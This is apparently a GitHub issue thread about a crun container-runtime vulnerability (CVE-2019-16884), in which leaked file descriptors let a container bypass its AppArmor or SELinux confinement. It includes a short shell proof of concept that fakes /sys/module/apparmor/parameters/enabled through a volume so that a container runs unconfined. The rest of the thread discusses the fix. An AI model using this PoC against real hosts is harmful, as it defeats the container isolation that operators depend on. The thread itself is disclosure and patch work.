fd leak and SELinux/AppArmor bypass (CVE-2019-16884) about crun

[cyphar]

Looks like there needs to be more file descriptors marked as O_CLOEXEC (I would suggest that you make it the default).

[leoluk]

PoC using /sys/module/apparmor/parameters/enabled on Ubuntu 18.04 with crun:

mkdir -p rootfs/sys/module/apparmor/parameters
echo N > rootfs/sys/module/apparmor/parameters/enabled

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /sys/module
EOF

docker build -t poc .
docker run --runtime=crun --security-opt "apparmor=docker-default" -it busybox
# container runs unconfined

[giuseppe]

yeah, there is a function to mark all fds as O_CLOEXEC but it runs too late. It needs to run before the pivot_root. In addition to that, I'll check what fds are leaked and already open them with O_CLOEXEC